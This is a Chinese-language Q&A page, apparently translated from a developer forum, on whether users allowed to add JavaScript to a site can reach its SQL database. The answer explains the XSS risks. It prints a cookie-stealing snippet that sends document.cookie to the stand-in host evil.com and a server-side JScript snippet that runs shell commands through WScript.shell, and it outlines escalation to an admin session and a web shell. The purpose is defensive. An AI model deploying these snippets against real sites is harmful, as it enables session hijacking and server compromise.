首页 > 解决方案 > 如果他可以编写自己的 Javascript,最终用户可以联系 SQL DB 吗?

问题描述

我有一个网站,我让用户在该网站上编辑网站的前端。用户只能访问编辑器,不能访问其托管的服务器。

用户要求我也允许使用 javascript。这意味着用户可以在前端创建自己的脚本。

我担心的是用户可能会用它来做恶意的事情。我担心如果用户足够了解一些东西,他可能会搞砸该网站。

我的问题: - 假设用户拥有 SQL DB 的连接字符串,他能否设法在该服务器上执行查询?通常这应该是 NO,因为 javascript 是客户端,对吗?

我找到了以下片段:

var connection = new ActiveXObject("ADODB.Connection") ;

var connectionstring="Data Source=<server>;Initial Catalog=<catalog>;User ID=<user>;Password=<password>;Provider=SQLOLEDB";

connection.Open(connectionstring);
var rs = new ActiveXObject("ADODB.Recordset");

rs.Open("SELECT * FROM table", connection);
rs.MoveFirst
while(!rs.eof)
{
   document.write(rs.fields(1));
   rs.movenext;
}

rs.close;
connection.close; 

假设我的连接字符串看起来像

Data Source=(local);Initial Catalog=TestDB;Application Name=TestDB;Integrated Security=True

我试图让脚本运行,但幸运的是它显示了一个空白页。但这是因为我可能做错了什么吗?还是确实是因为javascript是客户端的,并且不允许做那种事情?

其他问题: - 我采取了哪些其他风险示例允许他在前端使用 javascript?如果 javascript 确实是一种完全客户端语言,这意味着他不能做任何其他有风险的事情,对吗?

标签: javascriptsqlpenetration-testing

解决方案


JavaScript 在客户端运行,不会直接影响服务器的安全。但是,它可能对您的网站访问者、用户和管理员构成威胁。JavaScript 攻击被称为XSS 攻击,可能会产生各种影响:

基于 XSS 的攻击种类几乎是无限的,但它们通常包括向攻击者传输隐私数据,如 cookie 或其他会话信息,将受害者重定向到攻击者控制的 Web 内容,或在用户的机器上执行其他恶意操作以易受攻击的网站为幌子。

您问题中的代码似乎用于ActiveXObject创建数据库连接。如果攻击者拥有数据库凭据(连接字符串)并且 SQL 服务器端口是打开的,那么是的,他们可以访问数据库,但此时他们可以使用任何 SQL 客户端。

但是,可以在 IIS 服务器上运行 JScript(Microsoft 的 JavaScript 版本)。如果代码放置在带有runat="server"属性的脚本标记中,在 .asp 页面上,那么它将在服务器上执行并可以到达数据库。例如,这段代码:

<html>
<script language="javascript" runat="server">
    function exploit() {
        var shell = new ActiveXObject("WScript.shell");
        var cmd = shell.Exec("ipconfig");
        Response.Write("<pre>" + cmd.StdOut.ReadAll() + "</pre>");
    }
</script>
<% exploit() %>
</html>

如果在 .asp 或 .aspx 页面上执行,将显示服务器的 IP 配置。但如果攻击者可以编辑 .asp / .aspx 页面,那就太迟了。

假设他们不能编辑活动服务器页面,并且他们没有凭据或访问 SQL 服务器,他们应该不能直接使用 JavaScript 访问您的数据库。但是,他们可以使用 XSS 攻击来提升他们的权限。


可能的攻击场景:

攻击者编写了一个脚本来收集用户 cookie,并将它们发送到他们的服务器。

var cookies = document.cookie;
var addr = 'http://evil.com/log.php?cookies=' + escape(cookies);
document.write('<img src="' + addr + '" />');

使用这个简单的代码,攻击者可以记录访问托管此恶意脚本页面的任何用户的 cookie,并使用它们登录到他们的帐户或使用他们的权限执行其他操作。

如果管理员访问此页面,攻击者可以使用他们的 cookie 以管理员身份访问控制面板。许多 CMS(包括 WordPress 和 Joomla)允许管理员在服务器上编写或修改 PHP 代码,因此攻击者可能会上传 Web shell。他们甚至可以通过从管理员的浏览器发出 XHR 请求来自动化整个过程。

如果他们设法上传 web shell,他们就可以执行命令和代码、读/写文件和访问 SQL 服务器。所以现在他们可以使用与您的用户帐户相同的凭据和 IP 访问数据库。当然,可能有一些机制(反病毒、限制等)可以防止这种情况发生,但坚定的攻击者可以找到绕过它们的方法。


总之,您永远不应该运行不受信任的代码。在您的网站上允许不受信任的 JavaScript 代码可能会产生非常糟糕的后果。即使攻击者无法访问您的数据库或损害您的网站,他们仍然可能会损害您的访问者。您可以访问牛肉以了解 XSS 攻击的危险程度。


推荐阅读